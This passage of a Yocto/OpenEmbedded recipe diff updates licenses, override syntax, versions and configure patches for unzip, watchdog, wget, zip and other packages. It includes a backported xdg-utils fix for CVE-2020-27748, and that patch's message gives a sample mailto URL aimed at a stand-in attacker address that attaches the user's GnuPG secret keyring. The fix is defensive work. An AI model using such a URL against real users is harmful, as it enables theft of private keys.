-Wall -DBSD" LF2="" ++ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2="" + $(STRIP) $(UNZIPS) + + # Macintosh MacOS X (Unix-compatible enviroment), using gcc diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb index c1ea0a9a2c..af94a39195 100644 --- a/meta/recipes-extended/unzip/unzip_6.0.bb +++ b/meta/recipes-extended/unzip/unzip_6.0.bb @@ -1,5 +1,6 @@ SUMMARY = "Utilities for extracting and viewing files in .zip archives" HOMEPAGE = "http://www.info-zip.org" +DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc." SECTION = "console/utils" LICENSE = "BSD-3-Clause" LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29" @@ -25,12 +26,17 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/ file://CVE-2019-13232_p1.patch \ file://CVE-2019-13232_p2.patch \ file://CVE-2019-13232_p3.patch \ + file://unzip_optimization.patch \ + file://0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch \ " UPSTREAM_VERSION_UNKNOWN = "1" SRC_URI[md5sum] = "62b490407489521db863b523a7f86375" SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37" +# Patch from https://bugzilla.redhat.com/attachment.cgi?id=293893&action=diff applied to 6.0 source +CVE_CHECK_IGNORE += "CVE-2008-0888" + # exclude version 5.5.2 which triggers a false positive UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz" @@ -44,7 +50,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \ 'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'" export LD = "${CC}" -LD_class-native = "${CC}" +LD:class-native = "${CC}" do_compile() { oe_runmake -f unix/Makefile generic @@ -61,7 +67,7 @@ inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "unzip" +ALTERNATIVE:${PN} = "unzip" ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/watchdog/watchdog-config.bb b/meta/recipes-extended/watchdog/watchdog-config.bb index 8bf40f0f0e..a28d28033b 100644 --- a/meta/recipes-extended/watchdog/watchdog-config.bb +++ b/meta/recipes-extended/watchdog/watchdog-config.bb @@ -5,7 +5,7 @@ the system." HOMEPAGE = "http://watchdog.sourceforge.net/" BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194" -LICENSE = "MIT-X" +LICENSE = "MIT" LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420" SRC_URI = " \ diff --git a/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch new file mode 100644 index 0000000000..5c5d2f4e44 --- /dev/null +++ b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch @@ -0,0 +1,30 @@ +From b5cb6166dbfa57d1d94b19d4a098991a817f68f5 Mon Sep 17 00:00:00 2001 +From: Chen Qi <Qi.Chen@windriver.com> +Date: Thu, 15 Oct 2020 10:02:17 +0800 +Subject: [PATCH] wd_keepalive.service: use /run instead of /var/run + +/var/run is deprecated by systemd, use /run instead. + +Upstream-Status: Pending + +Signed-off-by: Chen Qi <Qi.Chen@windriver.com> +--- + debian/wd_keepalive.service | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service +index 7f8b1dc..0f2a153 100644 +--- a/debian/wd_keepalive.service ++++ b/debian/wd_keepalive.service +@@ -7,7 +7,7 @@ Type=forking + EnvironmentFile=/etc/default/watchdog + ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module' + ExecStart=/usr/sbin/wd_keepalive $watchdog_options +-PIDFile=/var/run/wd_keepalive.pid ++PIDFile=/run/wd_keepalive.pid + + [Install] + WantedBy=multi-user.target +-- +2.17.1 + diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb index 0199487e2e..1163846ed8 100644 --- a/meta/recipes-extended/watchdog/watchdog_5.16.bb +++ b/meta/recipes-extended/watchdog/watchdog_5.16.bb @@ -5,18 +5,23 @@ it will reboot the system." HOMEPAGE = "http://watchdog.sourceforge.net/" BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194" -LICENSE = "GPL-2.0+" +LICENSE = "GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd" SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \ file://0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch \ file://watchdog.init \ file://wd_keepalive.init \ + file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \ " SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f" SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a3b019d" +# Can be dropped when the output next changes, avoids failures after +# reproducibility issues +PR = "r1" + UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/" UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/" @@ -27,23 +32,24 @@ CFLAGS += "-I${STAGING_INCDIR}/tirpc" LDFLAGS += "-ltirpc" EXTRA_OECONF += " --disable-nfs " +CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail" INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive" -INITSCRIPT_NAME_${PN} = "watchdog" -INITSCRIPT_PARAMS_${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ." +INITSCRIPT_NAME:${PN} = "watchdog" +INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ." -INITSCRIPT_NAME_${PN}-keepalive = "wd_keepalive" -INITSCRIPT_PARAMS_${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ." +INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive" +INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ." SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive" -SYSTEMD_SERVICE_${PN} = "watchdog.service" -SYSTEMD_SERVICE_${PN}-keepalive = "wd_keepalive.service" +SYSTEMD_SERVICE:${PN} = "watchdog.service" +SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service" # When using systemd, consider making use of internal watchdog support of systemd. # See RuntimeWatchdogSec in /etc/systemd/system.conf. SYSTEMD_AUTO_ENABLE = "disable" -do_install_append() { +do_install:append() { install -d ${D}${systemd_system_unitdir} install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir} install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir} @@ -57,15 +63,15 @@ do_install_append() { PACKAGES =+ "${PN}-keepalive" -FILES_${PN}-keepalive = " \ +FILES:${PN}-keepalive = " \ ${sysconfdir}/init.d/wd_keepalive \ ${systemd_system_unitdir}/wd_keepalive.service \ ${sbindir}/wd_keepalive \ " -RDEPENDS_${PN} += "${PN}-config" -RRECOMMENDS_${PN} += "kernel-module-softdog" +RDEPENDS:${PN} += "${PN}-config" +RRECOMMENDS:${PN} += "kernel-module-softdog" -RDEPENDS_${PN}-keepalive += "${PN}-config" -RCONFLICTS_${PN}-keepalive += "${PN}" -RRECOMMENDS_${PN}-keepalive += "kernel-module-softdog" +RDEPENDS:${PN}-keepalive += "${PN}-config" +RCONFLICTS:${PN}-keepalive += "${PN}" +RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog" diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc index 2338328216..58cb5ca73d 100644 --- a/meta/recipes-extended/wget/wget.inc +++ b/meta/recipes-extended/wget/wget.inc @@ -6,22 +6,24 @@ The program supports recursive retrieval of web-authoring pages as well as \ FTP sites" HOMEPAGE = "https://www.gnu.org/software/wget/" SECTION = "console/network" -LICENSE = "GPLv3" +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e" inherit autotools gettext texinfo update-alternatives pkgconfig +DEPENDS += "autoconf-archive" + EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \ --disable-rpath" EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \ DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"' -ALTERNATIVE_${PN} = "wget" -ALTERNATIVE_${PN}_class-nativesdk = "" +ALTERNATIVE:${PN} = "wget" +ALTERNATIVE:${PN}:class-nativesdk = "" ALTERNATIVE_PRIORITY = "100" -RRECOMMENDS_${PN} += "ca-certificates" +RRECOMMENDS:${PN} += "ca-certificates" BBCLASSEXTEND = "nativesdk" diff --git a/meta/recipes-extended/wget/wget_1.20.3.bb b/meta/recipes-extended/wget/wget_1.20.3.bb deleted file mode 100644 index 4fa273d093..0000000000 --- a/meta/recipes-extended/wget/wget_1.20.3.bb +++ /dev/null @@ -1,8 +0,0 @@ -SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \ - file://0002-improve-reproducibility.patch \ - " - -SRC_URI[md5sum] = "db4e6dc7977cbddcd543b240079a4899" -SRC_URI[sha256sum] = "31cccfc6630528db1c8e3a06f6decf2a370060b982841cfab2b8677400a5092e" - -require wget.inc diff --git a/meta/recipes-extended/wget/wget_1.21.3.bb b/meta/recipes-extended/wget/wget_1.21.3.bb new file mode 100644 index 0000000000..f176a1546c --- /dev/null +++ b/meta/recipes-extended/wget/wget_1.21.3.bb @@ -0,0 +1,7 @@ +SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \ + file://0002-improve-reproducibility.patch \ + " + +SRC_URI[sha256sum] = "5726bb8bc5ca0f6dc7110f6416e4bb7019e2d2ff5bf93d1ca2ffcc6656f220e5" + +require wget.inc diff --git a/meta/recipes-extended/which/which_2.21.bb b/meta/recipes-extended/which/which_2.21.bb index fac0fd3944..c8a50735b1 100644 --- a/meta/recipes-extended/which/which_2.21.bb +++ b/meta/recipes-extended/which/which_2.21.bb @@ -4,9 +4,9 @@ executables that bash(1) would execute when the passed \ program names would have been entered on the shell prompt. \ It does this by using the exact same algorithm as bash." SECTION = "libs" -HOMEPAGE = "http://carlo17.home.xs4all.nl/which/" +HOMEPAGE = "https://carlowood.github.io/which/" -LICENSE = "GPLv3+" +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\ file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2" DEPENDS = "cwautomacros-native" @@ -24,12 +24,14 @@ SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \ SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a" SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad" -do_configure_prepend() { +do_configure:prepend() { sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am } -ALTERNATIVE_${PN} = "which" +ALTERNATIVE:${PN} = "which" ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN}-doc = "which.1" +ALTERNATIVE:${PN}-doc = "which.1" ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1" + +BBCLASSEXTEND = "nativesdk" diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch new file mode 100644 index 0000000000..948b9e22e9 --- /dev/null +++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch @@ -0,0 +1,58 @@ +From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io> +Date: Tue, 18 Aug 2020 16:52:24 +0100 +Subject: [PATCH] xdg-email: remove attachment handling from mailto +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +This allows attacker to extract secrets from users: + +mailto:sid@evil.com?attach=/.gnupg/secring.gpg + +See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425 +and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 + +Signed-off-by: Jörg Thalheim <joerg@thalheim.io> +--- + scripts/xdg-email.in | 7 +------ + 1 file changed, 1 insertion(+), 6 deletions(-) + +Upstream-Status: Backport +CVE: CVE-2020-27748 + +diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in +index 6db58ad..5d2f4f3 100644 +--- a/scripts/xdg-email.in ++++ b/scripts/xdg-email.in +@@ -32,7 +32,7 @@ _USAGE + + run_thunderbird() + { +- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH ++ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY + THUNDERBIRD="$1" + MAILTO=$(echo "$2" | sed 's/^mailto://') + echo "$MAILTO" | grep -qs "^?" +@@ -48,7 +48,6 @@ run_thunderbird() + BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')) + SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1) + BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1) +- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//')) + + if [ -z "$TO" ] ; then + NEWMAILTO= +@@ -68,10 +67,6 @@ run_thunderbird() + NEWMAILTO="${NEWMAILTO},$BODY" + fi + +- if [ -n "$ATTACH" ] ; then +- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'" +- fi +- + NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//') + DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\"" + "$THUNDERBIRD" -compose "$NEWMAILTO" +-- +GitLab + diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb index d371c5c28c..73acf6b744 100644 --- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb +++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb @@ -20,6 +20,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014" SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \ file://0001-Reinstate-xdg-terminal.patch \ file://0001-Don-t-build-the-in-script-manual.patch \ + file://1f199813e0eb0246f63b54e9e154970e609575af.patch \ " SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff" @@ -34,4 +35,4 @@ inherit autotools-brokensep features_check REQUIRED_DISTRO_FEATURES = "x11" DEPENDS = "xmlto-native libxslt-native" -RDEPENDS_${PN} += "xprop" +RDEPENDS:${PN} += "xprop" diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb index 4f0f9531a1..62ee70d244 100644 --- a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb +++ b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb @@ -1,14 +1,13 @@ SUMMARY = "Socket-based service activation daemon" HOMEPAGE = "https://github.com/xinetd-org/xinetd" +DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things." -# xinetd is a BSD-like license -# Apple and Gentoo say BSD here. -LICENSE = "BSD" +LICENSE = "xinetd" LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f" UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)" -SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https \ +SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \ file://xinetd.init \ file://xinetd.default \ file://xinetd.service \ @@ -18,9 +17,12 @@ SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4" S = "${WORKDIR}/git" +# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision +CVE_CHECK_IGNORE += "CVE-2013-4342" + inherit autotools update-rc.d systemd pkgconfig -SYSTEMD_SERVICE_${PN} = "xinetd.service" +SYSTEMD_SERVICE:${PN} = "xinetd.service" INITSCRIPT_NAME = "xinetd" INITSCRIPT_PARAMS = "defaults" @@ -28,20 +30,20 @@ INITSCRIPT_PARAMS = "defaults" PACKAGECONFIG ??= "tcp-wrappers" PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers" -CONFFILES_${PN} = "${sysconfdir}/xinetd.conf" +CONFFILES:${PN} = "${sysconfdir}/xinetd.conf" -do_install_append() { +do_install:append() { install -d "${D}${sysconfdir}/init.d" install -d "${D}${sysconfdir}/default" install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd" install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd" # Install systemd unit files - install -d ${D}${systemd_unitdir}/system - install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_unitdir}/system + install -d ${D}${systemd_system_unitdir} + install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_system_unitdir} sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \ -e 's,@SBINDIR@,${sbindir},g' \ - ${D}${systemd_unitdir}/system/xinetd.service + ${D}${systemd_system_unitdir}/xinetd.service } -RDEPENDS_${PN} += "perl" +RDEPENDS:${PN} += "perl" diff --git a/meta/recipes-extended/xz/xz_5.2.5.bb b/meta/recipes-extended/xz/xz_5.2.5.bb index af21b60563..78aa6b20ca 100644 --- a/meta/recipes-extended/xz/xz_5.2.5.bb +++ b/meta/recipes-extended/xz/xz_5.2.5.bb @@ -1,19 +1,21 @@ SUMMARY = "Utilities for managing LZMA compressed files" HOMEPAGE = "https://tukaani.org/xz/" +DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils." SECTION = "base" -# The source includes bits of PD, GPLv2, GPLv3, LGPLv2.1+, but the only file -# which is GPLv3 is an m4 macro which isn't shipped in any of our packages, -# and the LGPL bits are under lib/, which appears to be used for libgnu, which -# appears to be used for DOS builds. So we're left with GPLv2+ and PD. -LICENSE = "GPLv2+ & GPL-3.0-with-autoconf-exception & LGPLv2.1+ & PD" -LICENSE_${PN} = "GPLv2+" -LICENSE_${PN}-dev = "GPLv2+" -LICENSE_${PN}-staticdev = "GPLv2+" -LICENSE_${PN}-doc = "GPLv2+" -LICENSE_${PN}-dbg = "GPLv2+" -LICENSE_${PN}-locale = "GPLv2+" -LICENSE_liblzma = "PD" +# The source includes bits of PD, GPL-2.0, GPL-3.0, LGPL-2.1-or-later, but the +# only file which is GPL-3.0 is an m4 macro which isn't shipped in any of our +# packages, and the LGPL bits are under lib/, which appears to be used for +# libgnu, which appears to be used for DOS builds. So we're left with +# GPL-2.0-or-later and PD. +LICENSE = "GPL-2.0-or-later & GPL-3.0-with-autoconf-exception & LGPL-2.1-or-later & PD" +LICENSE:${PN} = "GPL-2.0-or-later" +LICENSE:${PN}-dev = "GPL-2.0-or-later" +LICENSE:${PN}-staticdev = "GPL-2.0-or-later" +LICENSE:${PN}-doc = "GPL-2.0-or-later" +LICENSE:${PN}-dbg = "GPL-2.0-or-later" +LICENSE:${PN}-locale = "GPL-2.0-or-later" +LICENSE:liblzma = "PD" LIC_FILES_CHKSUM = "file://COPYING;md5=97d554a32881fee0aa283d96e47cb24a \ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ @@ -33,11 +35,11 @@ inherit autotools gettext PACKAGES =+ "liblzma" -FILES_liblzma = "${libdir}/liblzma*${SOLIBS}" +FILES:liblzma = "${libdir}/liblzma*${SOLIBS}" inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "xz xzcat unxz \ +ALTERNATIVE:${PN} = "xz xzcat unxz \ lzma lzcat unlzma" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch new file mode 100644 index 0000000000..475a653f28 --- /dev/null +++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch @@ -0,0 +1,88 @@ +From ab5df4826c4a532da78828b72a2751c899e27ef2 Mon Sep 17 00:00:00 2001 +From: Khem Raj <raj.khem@gmail.com> +Date: Tue, 8 Mar 2022 22:31:21 -0800 +Subject: [PATCH] configure: Use CFLAGS and LDFLAGS when doing link tests + +Some case link flags contain important flags which are required during +linking, link fails otherwise without them, which can result in +configure detection go wrong, ensure these flags are used along with CC +when tests involve linking + +Upstream-Status: Pending +Signed-off-by: Khem Raj <raj.khem@gmail.com> +--- + unix/configure | 16 ++++++++-------- + 1 file changed, 8 insertions(+), 8 deletions(-) + +diff --git a/unix/configure b/unix/configure +index 1bc698b..1d9a9bb 100644 +--- a/unix/configure ++++ b/unix/configure +@@ -517,14 +517,14 @@ for func in rmdir strchr strrchr rename mktemp mktime mkstemp + do + echo Check for $func + echo "int main(){ $func(); return 0; }" > conftest.c +- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null ++ $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`" + done + + + echo Check for memset + echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM" + + +@@ -533,7 +533,7 @@ cat > conftest.c << _EOF_ + #include <string.h> + int main() { int a; int b = 0; memmove( &a, &b, sizeof( a)); return a; } + _EOF_ +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_MEMMOVE" + + +@@ -542,7 +542,7 @@ cat > conftest.c << _EOF_ + #include <string.h> + int main() { strerror( 0); return 0; } + _EOF_ +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_STRERROR" + + echo Check for errno declaration +@@ -563,7 +563,7 @@ cat > conftest.c << _EOF_ + int main() { return closedir(opendir(".")); } + _EOF_ + +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + if [ $? -ne 0 ]; then + OPT="" + for lib in ndir dir ucb bsd BSD PW x dirent +@@ -583,9 +583,9 @@ fi + + echo Check for readlink + echo "int main(){ return readlink(); }" > conftest.c +-$CC -o conftest conftest.c >/dev/null 2>/dev/null ++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null + if [ $? -ne 0 ]; then +- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null ++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null + [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq" + fi + +@@ -661,7 +661,7 @@ elif [ -f /xenix ]; then + elif uname -X >/dev/null 2>/dev/null; then + # SCO shared library check + echo "int main() { return 0;}" > conftest.c +- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null ++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null + [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl" + else + SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown" +-- +2.35.1 + diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch new file mode 100644 index 0000000000..02253f968c --- /dev/null +++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch @@ -0,0 +1,47 @@ +From 7a2729ee7f5d9b9d4a0d9b83fe641a2ab03c4ee0 Mon Sep 17 00:00:00 2001 +From: Joe Slater <joe.slater@windriver.com> +Date: Thu, 24 Feb 2022 17:36:59 -0800 +Subject: [PATCH 1/2] configure: use correct CPP + +configure uses CPP to test that two assembler routines +can be built. Unfortunately, it will use /usr/bin/cpp +if it exists, invalidating the tests. We use the $CC +passed to configure. + +Upstream-Status: Inappropriate [openembedded specific] + +Signed-off-by: Joe Slater <joe.slater@windriver.com> +--- + unix/configure | 15 +++++++++------ + 1 file changed, 9 insertions(+), 6 deletions(-) + +diff --git a/unix/configure b/unix/configure +index 73ba803..7e21070 100644 +--- a/unix/configure ++++ b/unix/configure +@@ -220,13 +220,16 @@ fi + echo Check for the C preprocessor + # on SVR4, cc -E does not produce correct assembler files. Need /lib/cpp. + CPP="${CC} -E" ++ ++# We should not change CPP for yocto builds. ++# + # solaris as(1) needs -P, maybe others as well ? +-[ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P" +-[ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp +-[ -f /lib/cpp ] && CPP=/lib/cpp +-[ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp +-[ -f /xenix ] && CPP="${CC} -E" +-[ -f /lynx.os ] && CPP="${CC} -E" ++# [ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P" ++# [ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp ++# [ -f /lib/cpp ] && CPP=/lib/cpp ++# [ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp ++# [ -f /xenix ] && CPP="${CC} -E" ++# [ -f /lynx.os ] && CPP="${CC} -E" + + echo "#include <stdio.h>" > conftest.c + $CPP conftest.c >/dev/null 2>/dev/null || CPP="${CC} -E" +-- +2.24.1 + diff --git a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch new file mode 100644 index 0000000000..6e0879616a --- /dev/null +++ b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch @@ -0,0 +1,34 @@ +From b0492506d2c28581193906e9d260d4f0451e2c39 Mon Sep 17 00:00:00 2001 +From: Joe Slater <joe.slater@windriver.com> +Date: Thu, 24 Feb 2022 17:46:03 -0800 +Subject: [PATCH 2/2] configure: support PIC code build + +Disable building match.S. The code requires +relocation in .text. + +Upstream-Status: Inappropriate [openembedded specific] + +Signed-off-by: Joe Slater <joe.slater@windriver.com> +--- + unix/configure | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/unix/configure b/unix/configure +index 7e21070..1bc698b 100644 +--- a/unix/configure ++++ b/unix/configure +@@ -242,8 +242,9 @@ if eval "$CPP match.S > _match.s 2>/dev/null"; then + if test ! -s _match.s || grep error < _match.s > /dev/null; then + : + elif eval "$CC -c _match.s >/dev/null 2>/dev/null" && [ -f _match.o ]; then +- CFLAGS="${CFLAGS} -DASMV" +- OBJA="match.o" ++ # disable match.S for PIC code ++ # CFLAGS="${CFLAGS} -DASMV" ++ # OBJA="match.o" + echo "int foo() { return 0;}" > conftest.c + $CC -c conftest.c >/dev/null 2>/dev/null + echo Check if compiler generates underlines +-- +2.24.1 + diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch index 19d8548273..5cdbf22a54 100644 --- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch +++ b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch @@ -14,7 +14,7 @@ zip.c:1228:5: error: format not a string literal and no format arguments [-Werro [YOCTO #9552] [https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552] -Upstream-Status: Pending +Upstream-Status: Inappropriate [need a new release] Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com> diff --git 